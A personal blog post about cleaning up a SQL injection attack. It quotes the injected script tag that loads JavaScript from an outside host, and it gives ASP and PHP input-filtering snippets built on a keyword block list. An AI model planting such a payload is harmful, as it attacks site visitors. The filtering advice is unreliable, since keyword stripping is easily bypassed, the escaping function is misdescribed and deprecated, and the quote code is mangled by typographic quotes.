The other day a Russian hacker made a mess of a site I manage. (I didn’t build the site, and I like to think that if I had, the attack would have been thwarted). Anyways the hacker used a method called SQL Injection where they take advantage of one of your submission forms to add extra SQL commands to their input and wreak havoc on your database.

In this particular instance the hacker added a JavaScript call into about every text and varchar field in the  entire database. (12 tables in all). Here is the offending code that was inserted into the fields:

<script src=http://www.jsportal.ru/page.js></script>

I don’t know what the Javascript does when loaded, but I am sure its not good news. FYI – here is an important tip for cleaning up your database: SQL Replace Function on a Text Field

Anyway, there are certainly other articles on how SQL Injections occur and how to prevent them, but here is a couple very useful functions that will greatly reduce your vulernability to SQL Injection if you apply it to any data that site users can submit to your site.

For ASP sites:

This one strips out single quotes, which are crucial to adding SQL commands:

<%

function stripQuotes(strWords)
stripQuotes = replace(strWords, “‘”, “””)
end function

%>

And this one strips out other naughty words that might destroy your database:

<%

function killChars(strWords)

dim badChars
dim newChars

badChars = array(“select”, “drop”, “;”, “–“, “insert”, “delete”, “xp_”)
newChars = strWords

for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), “”)
next

killChars = newChars

end function

%>

These aren’t the exact ones I use, but you get the idea. You can find the article where I got these ASP examples from here:

SQL Injection Attacks – Are You Safe?

For the PHP versions:

In PHP it is even easier. Just using this one function will help prevent many attacks:

mysql_real_escape_string($strWords);

This will strip out these harmful characters from the variable strWords:

• \x00
• \n
• \r
• \
• ‘
• “
• \x1a

You can also use this to make sure inputs you expect to be numbers are actually numbers:

$strNumber= intval($strNumber);